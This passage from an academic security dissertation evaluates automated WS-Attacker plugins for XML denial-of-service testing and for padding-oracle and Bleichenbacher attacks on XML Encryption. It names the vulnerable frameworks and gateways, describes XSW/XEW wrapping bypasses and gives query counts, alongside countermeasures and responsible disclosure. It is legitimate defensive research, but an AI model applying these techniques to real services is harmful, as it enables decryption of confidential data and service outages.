Sending Response

Client Finishes
Receiving Response

Old Time Measurement

New Time Measurement

Figure 2.15: Our new ARTR approach considers only time between the last byte
that was sent, and the first byte that was received.

2.5.4 Practical Evaluation

Using AdIDoS, it becomes easy to test a given web service for DoS weak-
nesses. Multiple test scenarios were set up to investigate common web service
frameworks: Apache Axis2[65], Apache CXF [5], Metro [220], .NET [140] and
PHP [227].
The services were hosted on a Windows 7 machine (@2,30 GHz, 4 GB Ram)

with the following set up:

§ Java based web services: Tomcat 7.0.55 (Oracle Java7 1.7.0_71)

§ .NET: IIS 7.5.7600.16385 (.NET framework v2.0.50727)

§ PHP: Apache 2.4.12 (PHP 5.5.24.0)

The tests were executed from a second, independent Windows 7 machine within
the same LAN with the default configuration and parameters. A simple con-
version web service was implemented, which converts Fahrenheit to Celsius and
vice versa. In addition, the XML Security Gateways IBM DataPower XI50 [81]
and Axway SOA Gateway 7.3.1 [9] were tested.
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Figure 2.16: Automatically generated result view of successful attacks with con-
crete information.
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Coercive Parsing Vuln. X X X X X X
XML Element Count X X X X X X X
Attribute Count Vuln. X Vuln. Vuln. Vuln. Vuln. X
XML External Entity DoS X X X X X X X
XML Entity Expansion DoS X X X X X X X
HashDoS Vuln. X Vuln. X Vuln. X X
Oversized XML attack X X X X X X X

Table 2.9: Results of our vulnerability scan using AdIDoS. “Vuln.” marks web
services where DoS weaknesses were found by AdIDoS. Secure web services are
marked with “X”.

Table 2.9 gives an overview of all tested web services. Apache CXF version
was the most secure open source web service framework. It was the only open
source framework that provides a secure default configuration. The Apache
CXF implementation limits the possible appearance of elements in an XML
document to achieve this goal.
The Apache Axis2 framework is vulnerable to Coercive Parsing, Attribute

Count and HashDoS with the collision generators DJBX31A and DJBX33A.
It is very unusual that one implementation is vulnerable to multiple collision
generators, and we cannot explain this behavior. The vulnerability to Coercive

55



2 Web Services Security

Parsing and Attribute Count (on ELEMENT) is limited to the <soap:Header>.
This indicates that unexpected elements are only processed at this position.
The highest impact comes from Attribute Count, only Apache CXF was not
vulnerable to this attack.
In contrast to the expected behavior of the two security gateways, the IBM
DataPower XI50 was also vulnerable to Attribute Count. By placing the at-
tack payload within an existing element in the <soap:Body> there was a clear
evidence for a higher processing time.

Threshold for Apache CXF IBM DataPower Axway SOA Gateway
Nested Element 80 - 158 470 - 548 236 - 314
Number of Elements - - 783 - 1,173
Number of Attributes 626 - 704 - 704 - 782
Element name length - 3,125 - 3,515 3,906 - 4,296
Attribute length 116,226 - -- 122,343
Number of Entities - - 16 - 32

Table 2.10: Overview of thresholds used in the tested frameworks.

Besides the detection of DoS weaknesses, AdIDoS is able to detect thresh-
olds used by the implementations. These thresholds are considered for further
investigation of a service. Table 2.10 shows the detected thresholds and their
approximate value.

Attack name Axis2 Metro .Net PHP
Coercive Parsing ARTR 6.52

Number of Tags 2,500
Attribute Count ARTR 4.02 7.00 3.30 10.65

Number of Attributes 10,000 10,000 10,000 10,000
HashDoS ARTR 12.75 6.21 155.88

Number of Collisions 3,750 3,750 1,250

Table 2.11: Average ARTR and attack parameters.

AdIDoS performs multiple attacks against a web service. The impact of an
attack is shown by ARTR and the used parameters. Table 2.11 illustrates the
ARTR for the tested web services and Table 2.12 depicts the ARTR for the XI50
security gateway. Beside the ARTR, the used parameters for the single attacks
are specified.

Attack name IBM DataPower XI50
XML Attribute Count ARTR 7.79

Number of Attributes 2,500

Table 2.12: Average ARTR and attack parameters for XI50.

The goal of AdIDoS is to detect DoS weaknesses in XML-based web services
and not to exploit them. For this reason, AdIDoS stops as soon as a DoS
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weakness for an attack class (e.g., Coercive Parsing) is detected. More aggressive
attacks, which certainly result in a higher ARTR, are not performed.

2.5.5 Summary

We showed a new approach for testing the robustness of XML-based web services
against DoS attacks. It adapts an intelligent strategy to our previous approach
that automatically increases the attack strength and searches for attack thresh-
olds while bypassing countermeasures. We implemented the approach as a new
plugin for the web service penetration testing framework WS-Attacker. Inter-
estingly, the plugin allowed us to detect new attacks, previously overlooked in
related work. This proves the feasibility of our new approach for testing DoS
attacks.
While this section investigates SOAP-based web services, the implemented

library can be directly applied to further XML standards as well, for example,
SAML or REST-based web services. Moreover, the general idea of intelligent
DoS testing can be adapted to other applications beyond XML as well.
The values for the detection of attack success and efficiency were chosen em-

pirically based on our observations in local networks. However, different network
conditions could affect the results and introduce new false positives and false
negatives. In order to detect DoS attacks on the Internet, the accuracy of our
solution has to be improved.

2.6 How to Break XML Encryption – Automatically

The W3C standard XML Encryption ensures confidentiality of XML data di-
rectly on message-level [48, 49]. It is used in security-critical scenarios like busi-
ness and governmental applications, banking systems or health care services.
Given the importance of the scenarios in which XML Encryption is deployed,
its security becomes a crucial point.
XML Encryption is mainly used with two encryption algorithms: AES-CBC

and RSA-PKCS#1 v1.5. These two standards recently became targets of attacks
in many practical scenarios ranging from IPSec [35, 36] and TLS [3] to web
applications and Captchas [189]. In 2011 Jager and Somorovsky [87] showed
that the XML Encryption standard is also vulnerable to attacks concerning
the confidentiality of symmetric ciphertexts. One year later, further attacks
affecting public key encryption in XML Encryption were described [86]. The
attacks belong to the family of adaptive chosen-ciphertext attacks. They are
applicable when the attacker is able to modify an inspected ciphertext (i.e.,
the ciphertext is not authenticated), send it to the server for processing, and
observe the server’s response. Based on this response, the attacker can decide
whether the decrypted request was valid or invalid. To distinguish valid from
invalid requests, he can use side channels, for example, by observing response
error message or measuring response times.
In order to protect the servers against these attacks, the newest XML Encryp-

tion specification proposes to use encryption schemes that are not vulnerable
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to adaptive chosen-ciphertext attacks: AES-GCM and RSA-OAEP [48]. Un-
fortunately, these schemes are not widely deployed in today’s XML Security
frameworks and different measures have to be applied to vulnerable servers.
Typically, XML Encryption is deployed together with XML Signature, which

can be used to protect data integrity and authenticity. Nevertheless, in many
cases, the XML Signature protection can be circumvented using XSW and XML
Encryption Wrapping techniques [207]. The idea behind these techniques is
very simple: the attacker moves the signed or encrypted data to a different
document part so that the encrypted data becomes unprotected. Nevertheless,
the complexity of the XML structure and XML processing makes it difficult
to prevent these attacks, which is underlined by a large body of research [119,
129, 137, 205–207]. These research result allow the attacker forcing the server
to decrypt unprotected elements, and thus to practically execute the chosen-
ciphertext attacks.
Contribution. In this section, we first summarize possible countermeasures
against the attacks on XML Encryption. We describe problems connected with
various configurations XML Encryption is deployed with, and how to circumvent
these countermeasures. We present a systematic methodology for the verifica-
tion of interfaces using XML Encryption. Based on this methodology, we im-
plement an automatic plugin for the WS-Attacker that allows to automatically
analyze web services interfaces and execute attacks on XML Encryption.
We use our new attack plugin to analyze different web services frameworks

and their application of XML Encryption. One could think that widely-used
web service frameworks and commercially used XML Security Gateways are
aware of the threat to XML Encryption. However, our evaluation shows that it
is possible to attack frameworks like Apache CXF [5], IBM DataPower [81] (if
not configured correctly) and Axway SOA Gateway [9]. All these frameworks
implemented several methods to protect web services from the attacks. The
protection mechanisms used by Apache CXF could be successfully circumvented
using XML Encryption and XSW techniques. Axway SOA Gateway and IBM
DataPower also offer several security configurations. However, only a few of
them could be successfully applied to prevent the attacks.
Our work once again shows that the usage of insecure cryptographic algo-

rithms (AES-CBC, RSA-PKCS#1 v1.5) in complex scenarios can lead to sus-
tainable and severe consequences (e.g., backward compatibility attacks [85]).
Attacks can be used to expose confidential data even if specific countermeasures
are applied. We thus encourage protocol and standard designers to use provably
secure cryptography and prevent future specification vulnerabilities.
Even though our library is currently embedded in the WS-Attacker frame-

work, the implemented algorithms are of general importance and can be used
to analyze further XML Security standards (e.g., SAML) as well.9

Responsible Disclosure. We communicated our findings to the web services
developers. Vulnerabilities in Apache CXF are summarized in two Common Vul-

9During the development of our plugin, we strictly separated the code that is generally
applicable to XML attacks, and the code that is only used to apply the attacks on web
services.
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nerabilities and Exposures (CVEs): CVE-2015-0226 and CVE-2015-0227 [108,
109]. Security best practices resulting from our discussions with IBM DataPower
developers are addressed in their Flash alert [28].
This section presents our results based on our paper “How to Break XML

Encryption – Automatically” [110].

2.6.1 Attacks on XML Encryption

The analyzed attacks on XML Encryption belong to the family of adaptive
chosen-ciphertext attacks. In the following, we give a brief description of an
adaptive chosen-ciphertext attack scenario and present basic ideas behind these
attacks. Afterwards, possible countermeasures and their problems are summa-
rized.

2.6.1.1 Adaptive Chosen-Ciphertext Attacks

In an adaptive chosen-ciphertext attack scenario, the attacker’s goal is to de-
crypt a ciphertext C without any knowledge of the (symmetric or asymmetric)
decryption key. To this end, he iteratively issues new ciphertexts C 1, C2, . . .
that are somehow related to the original ciphertext C. He sends the ciphertexts
to a receiver, and observes its responses. The receiver responses leak specific
information about the validity of the decrypted message. With each response,
the attacker learns some plaintext information. He repeats these steps until he
decrypts C. See Figure 2.17 for the description of this scenario.

Sender Receiver

Attacker

Ciphertext C = enc(M)

obtain C

modified Ciphertext C′

valid / invalid

modified Ciphertext C′′

valid / invalid

. . .
M = dec(C)

Figure 2.17: Adaptive chosen-ciphertext attack scenario: the attacker uses the
receiver as an oracle which responds whether the message was valid or invalid.

Two major examples of these attacks are Vaudenay’s attack on Cipher Block
Chaining mode of operation (CBC)-based symmetric encryption [232] and Ble-
ichenbacher’s attack on RSA-PKCS#1 v1.5-based public-key encryption [19,
99]. Cryptographic details of these attacks are not relevant for this section. It is
just necessary to know that the attacks against these cryptographic algorithms
are applicable whenever an oracle is given that decrypts a ciphertext and re-
sponds with 1 (valid) or 0 (invalid) according to the validity of the decrypted
message. A typical reason for answering with 0 is that the decrypted message
contains an invalid padding. Thus, the attacks are also known as padding oracle
attacks.
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Recently, two works on XML Encryption were published that are based on
the attacks of Vaudenay and Bleichenbacher:

Attack on symmetric ciphertexts in XML Encryption [87]. The attack on
symmetric CBC-ciphertexts generalizes the idea behind padding oracle
attacks by Vaudenay [232]. The attacker exploits the behavior of XML
servers, which need to parse XML messages after they are decrypted. In
case the message cannot be parsed, the server responds with a failure,
which gives the attacker a hint on the message validity. This allows to
perform a highly efficient attack and decrypt one encrypted byte by issu-
ing only 14 server queries on average.

Attack on asymmetric ciphertexts in XML Encryption [86]. The attack on
asymmetric ciphertexts [99] completely breaks the confidentiality of the
exchanged symmetric keys encrypted with the XML Encryption padding
scheme. The gained symmetric key enables the attacker to decrypt the
symmetric ciphertext in the XML message. The attacker can determine
the validity of the modified XML Encryption ciphertext by means of an
invalid server response, which is triggered, for example, the XML Encryp-
tion ciphertext decrypts to a symmetric key with an invalid length.

2.6.1.2 XML Signature as a Countermeasure

The attacks on XML Encryption are only applicable if:

(1.) The server supports XML Encryption or CBC.

(2.) The attacker can force the server to process modified ciphertexts and
receive responses based on the message validity.

The first aspect can be solved by deploying ciphers securely against adaptive
chosen-ciphertext attacks. XML Encryption supports RSA-OAEP and AES-
GCM [48]. However, these two ciphers are not well-integrated in common web
service frameworks.10 This forces the developers to use XML Encryption and
CBC [85].
The second point can be solved by protecting the authenticity of the ex-

changed ciphertexts with XML Signatures. However, this countermeasure brings
several problems [204, 207], which are briefly discussed in the following. For this
purpose, please consider Figure 2.18a, which depicts an encrypted and signed
SOAP message.
XML Signature Wrapping. The XML Signature Wrapping (XSW) attack
was first presented by McIntosh and Austel [137] and independently by Bhar-
gavan et al. [16, 17]. The basic idea behind this attack is to move the signed
elements in a different part of the XML tree and force the application logic to
evaluate newly defined elements.

10For example, only 1 out of 5 frameworks analyzed in Section 2.6.3 implements AES-GCM:
Apache CXF.
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Figure 2.18: The XSW attack is applied to an encrypted and signed message.

An exemplary XSW attack applied on the message shown in Figure 2.18a is
depicted in Figure 2.18b. The attacker first moves the original <soap:Body> el-
ement to the SOAP <soap:Header>. Afterwards, he defines a new <soap:Body>
element, and forces the <EncryptedKey> <DataReference> to point to the
<EncryptedData> element within the newly defined <soap:Body>. A vulner-
able web service processes such a message as follows:

(1.) It first verifies XML Signature over the original <soap:Body> element.
Since the content of this element was not modified, the signature is valid.

(2.) It decrypts the newly defined <EncryptedData> element with Id="oracle"
since this element is referenced in <EncryptedKey>.

This allows the attacker to insert arbitrary content into the <EncryptedData>
element and execute the attack on a symmetric cipher. Note that applying the
XSW attack technique requires to find a valid position to which the originally
signed element can be moved [135, 205]. Therefore, the attacker has to send
several messages until the message is accepted.
XML Encryption Wrapping. The XML Encryption Wrapping (XEW) fol-
lows a similar principle as XSW [204, 207] and enforces the decryption logic to
decrypt unauthenticated XML contents. The attacker achieves this by defining
new <EncryptedData> in the <soap:Header> element.
As depicted in Figure 2.19, the attacker does not move the original <soap:Body>

element with its content. This enables the web service to verify and decrypt
the original <soap:Body>. The web service additionally decrypts a newly de-
fined <EncryptedData> element with Id="oracle" since the <EncryptedKey>
element contains a <DataReference> with URI="#oracle".
There are a few variations of this attack. For example, it is also possible

to define a completely new <EncryptedKey> element with a <DataReference
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Figure 2.19: XML Encryption Wrapping (XEW) attack applied on a signed and
encrypted message forces the recipient to process unverified <EncryptedData>.

URI="#oracle"> child element. This is applicable to servers processing only one
<EncryptedData> for each <EncryptedKey> element.

Protecting the <EncryptedKey> Element. The <EncryptedKey> element is
typically not protected by XML Signature in web service scenarios, as shown
in Figure 2.18a. However, by modifying the <EncryptedKey> content, the sym-
metric key changes, which leads to a failure in symmetric data decryption. If
the server responds with unified error messages, the attacker is not able to
distinguish whether an error results from invalid <EncryptedKey> or invalid
<EncryptedData> decryption.
Jager et al. [86] have shown several ways to distinguish the source of de-

cryption failure. One of them is to provoke direct messages by defining a new
<EncryptedKey> element without any <DataReference>. This results in the
decryption of a symmetric key, but this symmetric key is not used further for
symmetric data decryption. Thus, the server responds with a failure if and only
if the <EncryptedKey> is invalid. This allows an attacker to distinguish valid
from invalid asymmetric ciphertexts.
A valid countermeasure against the attacks on RSA-PKCS#1 v1.5 ciphertexts

is to generate a random symmetric key every time the decryption fails, and use
this key for further processing steps [19]. This prevents distinguishing valid
from invalid RSA-PKCS#1 v1.5 ciphertexts in protocols like TLS. However,
Jager et al. [86] have shown that this countermeasure does not apply to XML
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Encryption: the attacker can use the validity of CBC ciphertexts as a side
channel to distinguish valid from invalid RSA-PKCS#1 v1.5 ciphertexts. This
attack results in several millions of server queries and becomes impractical.

2.6.2 Automatic XML Encryption Attack

We have implemented the described attacks on XML Encryption as a plugin for
WS-Attacker. This section gives a high-level overview of our implementation
and highlights some noteworthy facts and problems we faced during our design
and implementation phases.

2.6.2.1 About Attack Complexity

Before we describe how to break XML Encryption automatically, we need to
spot on the complexity of the attack and its prerequisites. The complexity is
caused in different XML Security components, for example, timestamps, as well
as in signed and encrypted elements. To be more precise, an XML document
can contain XML Signatures that do not protect encrypted elements but are
used to prevent replay attacks. If the XML document to be decrypted contains
a nonce or a timestamp that is signed, XSW must be applied to this document
part. There can also be XML Signatures that protect encrypted elements, as
shown in Figure 2.18a. To be able to run the XML Encryption attack, XSW or
XEW must be applied on this document part.
Regarding Figure 2.18b, we already present one possible XSW vector. This

is, however, only one vector. XSW itself is a very complex attack and there
may be numerous possible vector adaptations. Each of these vectors has to be
sent to the web service in order to find a working solution, which enlarges the
attack complexity by the number of possible XSW vectors. We refer to Mainka
[116] and Somorovsky et al. [206] for more details.
Let us consider a typical scenario in which a SOAP message includes an

encrypted <soap:Body>. The message contains one <EncryptedKey> and one
<EncryptedData> element. The <EncryptedData> element is protected by an
XML Signature, together with a <Timestamp> element.11 We assume that the
XML Signature uses ID-based referencing mechanism, which was described in
Section 2.2.3.1.12 This assumption allows us to implicate that the XSW and
XEW attacks have always the same number of attack vectors (=n). This is
because both attacks in general use the same wrapping positions.
If we want to attack the <EncryptedData> element in this scenario, we first

need to circumvent the XML Signature that protects the <Timestamp>. We
assume n possible XSW vectors for this. We then have to circumvent the XML
Signature that protects the <EncryptedData> element, which results in further
n possibilities. If the second XSW fails, we can try to use the XML Encryption
Wrapping on the <EncryptedData> element. We can again assume n possi-

11It is also possible that the message contains more encrypted elements. For simplicity, we
omit this scenario in our analysis.

12In addition, XML Signature specification allows to use a more complex XPath-based refer-
encing, which is omitted in our analysis, but is implemented in our plugin.
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Figure 2.20: The attack workflow consists of three phases.:

bilities for this. In total, we have to send 3 ¨ n messages to a web service for
detecting whether we can construct an XML decryption oracle from a web ser-
vice and execute the XML Encryption attack. The concrete number of n scales
with the document’s total element number – typical values are 250´5000 [116],
thus we have to send up to 15000 messages.
If the XML Signature countermeasures can be successfully circumvented, we

have to send differently formatted ciphertexts to the server. We then need to
map the real server responses to the responses produced by an oracle (valid and
invalid). Once the mapping is provided, the attack can be executed. The com-
plexity of the XML Encryption attacks was analyzed by Jager et al. [86] and
Jager and Somorovsky [87]. The number of attack queries depends on the en-
cryption scheme the attack is targeting. The attack on the symmetric encryption
scheme (AES-CBC) takes about 14 server queries per decrypted plaintext byte.
The attack on RSA-PKCS#1 v1.5 ciphertexts allows the attacker to directly
decrypt the symmetric key, and thus is independent of the plaintext length.
However, it needs to issue between 20000 and several millions of server queries,
depending on the given side channel (cf. [86] for more details).

2.6.2.2 Attack Workflow

Figure 2.20 depicts the whole attack workflow. It is structured into three phases:
(1.) The Detection Phase analyses the encrypted XML message. (2.) The Avoid
Phase circumvents XML Signature protection. (3.) The Attack Phase executes
the attack.
Detection Phase. The encrypted XML document is the input for the whole
process. In the Detection Phase, the document is analyzed offline and security
elements are identified. This includes the identification of signatures, encrypted
document parts, as well as timestamps. The results are stored in the knowledge
pool, so that other components can access them.
Avoid Phase. The Avoid Phase takes place online. Its goal is to avoid the
protection of the input document so that it is possible:

(1.) Sending several messages to the web service and, thus, circumventing re-
play protection.

(2.) Manipulating the encrypted part that is going to be decrypted. This
induces the bypassing of the message authenticity.
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To attain these goals, the knowledge pool is first asked whether the document
contains a signed timestamp. In this case, XSW is performed. More precisely,
different XSW vectors are created in order to update the <Timestamp> and sent
to the web service. If no XSW is possible, the attack is aborted.
In the following step, the knowledge pool is asked whether the document

contains an encrypted element that is protected by a signature. If the encrypted
element is protected, further XSW and XEW steps follow. If either the XSW
or the XEW step is successful, the attacker is able to modify the encrypted
document part, and execute an identify oracle step. Otherwise, the attack is
aborted and cannot be applied.
Finally, the last step in this phase identifies the oracle to perform the at-

tack. Depending on the attacked XML part (asymmetric or symmetric), XML
messages are prepared in order to provoke an error behavior in the web service
processing (e.g., invalid RSA-PKCS#1 v1.5 padding or unparsable XML char-
acter). The generated messages are then sent to the web service. At the end,
the attacker needs to provide a mapping between the response and the oracle
answer 1 and 0. This mapping is saved in the knowledge pool.
Attack Phase. In the Attack Phase, the web service is used as an oracle to
execute an attack on a symmetric [87] or asymmetric [86] encryption scheme.
During the attack execution, adapted XML ciphertexts are created and sent
to the web service. The received responses are evaluated using the configured
knowledge pool and transformed to a 1 or 0 oracle response.

2.6.2.3 Integration into WS-Attacker

According to the fully-automatic approach of WS-Attacker to penetrate web
services, we developed a WS-Attacker plugin for XML Encryption attacks.
Our plugin is open source as well and is distributed with WS-Attacker on
GitHub [118].
As shown in Figure 2.21, our plugin can be configured with different at-

tack parameters for attacking XML Encryption. After the Detection Phase, we
automatically get an overview of the encrypted elements, their relations and
countermeasures. The collected information has effect on the further configu-
ration of the Avoid Phase and Attack Phase. The first step is to choose an
encrypted element from the list Elements. Then we have to choose which ele-
ment we would like to attack (isAttackPayload). In our example, this could be
the <EncryptedData> element or the <EncryptedKey> element. Furthermore,
we have the possibility to fine-tune the configuration in order to reduce the
complexity of the attack, and thus reduce the total number of messages sent to
the web service:

§ Oracle Type: this setting allows to define a specific oracle type, for exam-
ple, an error message or a timing oracle, or to test all known oracle types
(which increase the duration of the attack workflow). Currently, timing
oracle is not yet implemented.

§ Wrapping Attack : this is a setting to use only the XSW or XEW attack in
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Figure 2.21: Our WS-Attacker XML Encryption plugin automatically detects
encrypted elements and allows a user to configure oracle and attack properties.

order to prefer one specific type. Otherwise, both wrapping attack types
are used.

§ StringCompare and Threshold Errors: different server responses can be
mapped to the same oracle response. This is because real server responses
can include message-specific data like nonces or timestamps. In order to
omit such comparison problems, the algorithm uses different string com-
parison methods (e.g., Levensthein or Dice coefficient) [200]. During the
attack execution, the comparison methods are used to compare the actual
server response with the ones saved in the knowledge pool to get the 1/0 or-
acle mapping. In addition, the setting enables the user to choose from the
implemented similarity metrics and define specific similarity thresholds.
A similarity threshold defines a similarity value that must be achieved to
map a server response to a 1/0 oracle response from the knowledge pool.

§ PKCS#1 Strategy : as discussed in Section 2.6.1, different strategies can
be applied for provoking error messages while executing an attack on the
<EncryptedKey>. One of them is a NoKeyRef strategy. This strategy
defines a new <EncryptedKey> element that is not used further by any
<EncryptedData>. Furthermore, the setting allows to choose a CbcWeak
strategy, which exploits a combination of weaknesses in RSA-PKCS#1
v1.5 and AES-CBC. More details can be found in the research results
of Jager et al. [86].
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Framework PKCS#1 Attack CBC Attack Counter-
Type Total

Queries
Type Queries

/Byte
measures
Applicable

Apache Axis2 1.6.2 – XEW 14 no
Apache CXF 2.7.10 XSW

+NoKeyRef
46,000 XSW/XEW 14 yesa)

Axway SOA Gateway 7.3.1 Direct 20,000 XSW/XEW 23b) yesc)
IBM DataPower XI50 – XEW 23b) yesd)
Microsoft WCF – – yes

Table 2.13: Evaluation results report attack application possibilities on the in-
vestigated XML security frameworks, including the number of requests needed
to decrypt a ciphertext.
a) After the framework was patched against the issues we reported.
b) The different number of attack queries resulted from a different XML parsing technique
applied in the gateway. For this reason, we needed to extend the original attack algorithm.
c) With specific XPath expressions and unifying error messages.
d) With specific XPath expressions.

2.6.3 Practical Evaluation

We used our implemented WS-Attacker plugin for automatically attacking dif-
ferent XML Encryption implementations. We first analyzed default server con-
figurations with XML Signature and XML Encryption. After we found a suc-
cessful attack, we further investigated the server behavior and the possibilities
for extended countermeasures. The summary of our results is reported in Ta-
ble 2.13 and provides information on the number of server queries and the
applied attack type (XSW / XEW / NoKeyRef / Direct). Direct attack type
indicates that there is no attack strategy needed and the attack works directly
(without XSW / XEW / NoKeyRef).
Please note that attacks on RSA-PKCS#1 v1.5 ciphertexts are always appli-

cable when the attacks on CBC ciphertexts are possible, as discussed in Sec-
tion 2.6.1. However, the attacks become impractical since the attacker needs to
issue several millions of server queries. Thus, we do not consider them in our
practical evaluation.

2.6.3.1 Apache Axis2

Web service security standards in Apache Axis2 are provided by the Apache
Rampart library. For testing purposes, we used the delivered Apache Rampart
samples 5 and 6, which apply a configuration with XML Encryption and XML
Signature.
Attack. The attack on RSA-PKCS#1 v1.5 ciphertexts was applicable only
to an older Apache Axis2 1.6.0 version, and needed about 55,000 server queries
to decrypt a symmetric key. The current version (1.6.2) was not vulnerable to
the attacks. This is because the underlying libraries of Axis2 1.6.2 generate
a random symmetric key in the case the RSA-PKCS#1 v1.5 decryption fails.
This prevents successful attacks, as discussed in Section 2.6.1.
CBC Attack. Both configurations could be attacked using XEW. We are
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not aware of any configuration that would protect against these attacks in the
current Apache Axis2 version.

2.6.3.2 Apache CXF

For our tests, we used a sample delivered by one of the Apache CXF developers.
The example web service applies XML Signature and XML Encryption.
Attack. The RSA-PKCS#1 v1.5 attack could be applied thanks to an XSW at-
tack combined with a NoKeyRef strategy. This means the <EncryptedKey> con-
tained no reference to <EncryptedData>. In case of an incorrect <EncryptedKey>,
a random symmetric key was generated in order to prevent further side chan-
nels [86]. The algorithm searched for the first <EncryptedData> structure ref-
erenced by the <EncryptedKey> and generated a random symmetric key for
this <EncryptedData>. Since there was no <EncryptedData> referenced in our
attack message, the server attempted to generate a random key for a default
AES-128 algorithm. However, the server incorrectly generated a key of a 128-
byte length (instead of 128 bits), which led to an internal exception and a
different server response.
We reported this problem to the developers, who analyzed this incorrect be-

havior. The problem was fixed in versions 1.6.17 and 2.0.2 of the underlying
WSS4J library.
CBC Attack. The default configuration could be attacked using XSW and
XEW attacks.
In addition, we tested the server for further countermeasures. Apache CXF al-

lows to apply a configuration attribute requireSignedEncryptedDataElements
= "true", which ensures that the authenticity of the encrypted content is ver-
ified prior to decryption. With our new attack plugin, we found out that this
countermeasure could be circumvented using an XSW attack.
We again reported this vulnerability to the Apache CXF developers. The

XSW problem was then fixed in Apache CXF versions 1.6.17 and 2.0.2 of the
underlying WSS4J library so that the corresponding configuration attribute
requireSignedEncryptedDataElements = "true" can now be used securely.

2.6.3.3 Axway SOA Gateway

For deploying XML Signature and XML Encryption, Axway SOA Gateway
provides several configurations. These configurations allow to enforce which
elements have to be verified and which elements have to be decrypted. We first
applied the default configuration, which defines that arbitrary elements have to
be decrypted and signed. Afterwards, we analyzed possible countermeasures.
Attack. It was possible to apply a direct attack using differences in error

messages, see Figure 2.22. We found out that the server responded with a unified
SOAP error message in the case that we sent an invalid <EncryptedKey>. On
the other hand, an <EncryptedKey> with a correctly formatted RSA-PKCS#1
v1.5 message led to a simple HTTP Error message. This was because the server
decrypted a symmetric key, which was of an invalid length so it could not be used
to decrypt <EncryptedData>, or the decrypted symmetric key had a valid length
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Figure 2.22: WS-Attacker shows the decrypted plaintext after the successful
attack on the Axway SOA Gateway.

but <EncryptedData> was decrypted to an unparsable content. This allowed
us to distinguish valid from invalid messages and apply a Bleichenbacher attack
directly.
CBC Attack. As mentioned above, the server responds with different error
messages if <EncryptedData> decryption fails. In order to modify ciphertexts in
<EncryptedData> elements, XSW or XEW attacks were necessary. This allowed
us to distinguish error messages and apply an attack against the symmetric
encryption scheme.
As can be depicted in Table 2.13, the attack needs about 23 queries to decrypt

one byte. This number differs from the original results of Jager and Somorovsky
[87] and leads to a different XML parsing approach used in the gateway. More
precisely, the parser accepts decrypted content if and only if the content contains
at least one valid character (in comparison to an empty string, which is accepted
by the parsers analyzed in the original paper). For this reason, we needed to
extend the original algorithm to handle this stricter XML parsing property,
which resulted in a higher number of attack requests.
Countermeasures. Axway SOA Gateway offers several XPath expressions [26]
to define concrete positions of signed and encrypted elements. However, most
of these default expressions are insecure and allow us to apply XSW or XEW
attacks.
In order to defend the CBC attack, it is possible to deploy the following secure

configuration and define (cf. Figure 2.23):

§ What must be signed?
/soap:Envelope/soap:Body to ensure that all the Body elements are signed.

§ Nodes to decrypt?
/soap:Envelope/soap:Body/enc:EncryptedData to ensure that only the
elements <EncryptedData> inside of the (signed) Body element are de-
crypted. Others are ignored.

This is, however, not a solution for the RSA-PKCS#1 v1.5 attack since the
attacker is still able to modify <EncryptedKey> elements. In order to protect
from this attack, the user has to additionally unify the outgoing error messages.
Another countermeasure would be to generate random symmetric keys in the
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Figure 2.23: Countermeasures applicable in the Axway SOA Gateway.

case that RSA-PKCS#1 v1.5 decryption fails, as proposed by Jager et al. [86]
and deployed by other analyzed frameworks.

2.6.3.4 IBM DataPower

We tested IBM DataPower XI50 with the Firmware XI50.6.0.0.2. Similarly to
the Axway SOA Gateway, IBM DataPower offers several configurations combin-
ing XML Encryption with other security mechanisms. We first used the default
configuration with XML Signature and XML Encryption for SOAP messages,
which was vulnerable to the attack on CBC ciphertexts. Afterwards, we ana-
lyzed possible countermeasures together with IBM developers.
Attack. We were not able to apply the attack on RSA-PKCS#1 v1.5 cipher-
texts. We analyzed IBM DataPower’s server logs and found out that Data-
power generates a random symmetric key every time the RSA-PKCS#1 v1.5
decryption fails. This makes the RSA-PKCS#1 v1.5 attacks impractical, see
Section 2.6.1.
CBC Attack. By default, IBM DataPower decrypts all the <EncryptedData>
elements in the document. If the decryption of an <EncryptedData> element
fails, the server just responds with the original encrypted content. Otherwise,
the server proceeds with the decrypted message and its response differs. This al-
lowed us to apply attacks on CBC ciphertexts. To overcome the XML Signature
protection, we used the XEW technique.
As depicted in Table 2.13, we needed about 23 server queries to decrypt one

plaintext byte. This is because IBM DataPower uses a parsing mechanism that
is similar to the one used by Axway SOA Gateway.
Countermeasures. We discussed several countermeasures with IBM develop-
ers. It turned out that it is possible to restrict positions of <EncryptedData>
elements that are going to be decrypted. For this purpose, the server adminis-
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Figure 2.24: In order to restrict the decryption of <EncryptedData> elements,
the Selected Elements configuration has to be used.

trator has to choose Selected Elements (Field-Level) in the decryption configura-
tion, see Figure 2.24. Afterwards, he must define an XPath for the element that
is going to decrypted, see Figure 2.25. In addition, proper XPath expressions
have to be defined for the XML Signature validation step in order to protect
the authenticity of the encrypted data.

Figure 2.25: Specific positions for <EncryptedData> elements which are going
to be decrypted can be restricted using XPath.

2.6.3.5 Microsoft WCF

Microsoft WCF was not vulnerable to the investigated attacks.
This framework allows a developer to define three different protection levels:

(1.) EncryptAndSign, (2.) Sign, and (3.) Unprotected. For our tests, we used
the EncryptAndSign profile, which applies a very strict XML processing:

§ There is no possibility for including an additional <EncryptedKey> or an
additional <EncryptedData> element to enforce decryption.

§ Signatures are strictly verified only on specified fields. There is no possi-
bility to apply an XSW attack.
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§ The error messages do not reveal any confidential data relevant to our
attacks.

The tests on WCF were complex due to the fact that the generated messages
include timestamps and message IDs, so that the messages could be used only
once.
Therefore, Microsoft WCF provides a very good example on how to handle

WS-Security: the configuration is secure by default, without a need for complex
developer steps.

2.6.4 Summary

A deep knowledge of XML Security standards and applied cryptography is nec-
essary to understand the attacks on XML Encryption. For developers and secu-
rity testers, who use XML Encryption, it is thus hard to decide whether a web
service is vulnerable or not.
Our work presents a methodology to verify the existence of vulnerabilities in

XML Encryption interfaces and to automatically exploit possible attacks. As a
result, we created an open source plugin for the penetration testing framework
WS-Attacker. We hope it will enable even developers with basic XML and
cryptographic skills to easily verify their implementations.

2.7 Related Work

Research related to this section can be divided into three parts: (1.) research
on the analysis of web services security in general, (2.) analysis of DoS in web
services, and (3.) specific investigation in the field of XML Encryption and
adaptive chosen-ciphertext attacks.
Security of Web Services. The security of web services was analyzed man-
ually and without tool support. In 2005 McIntosh and Austel [137] found the
XSW attack. The same attack has been independently found by Bhargavan et
al. [16, 17]. This attack concept was later adapted on Amazon’s web services [73,
205], but without any automatism or tool support. In 2007 Jensen et al. [92]
investigated SOA technologies with respect to web services. Jensen et al. [91]
published a survey on web service specific attacks in 2009 and extended their
work in [93].
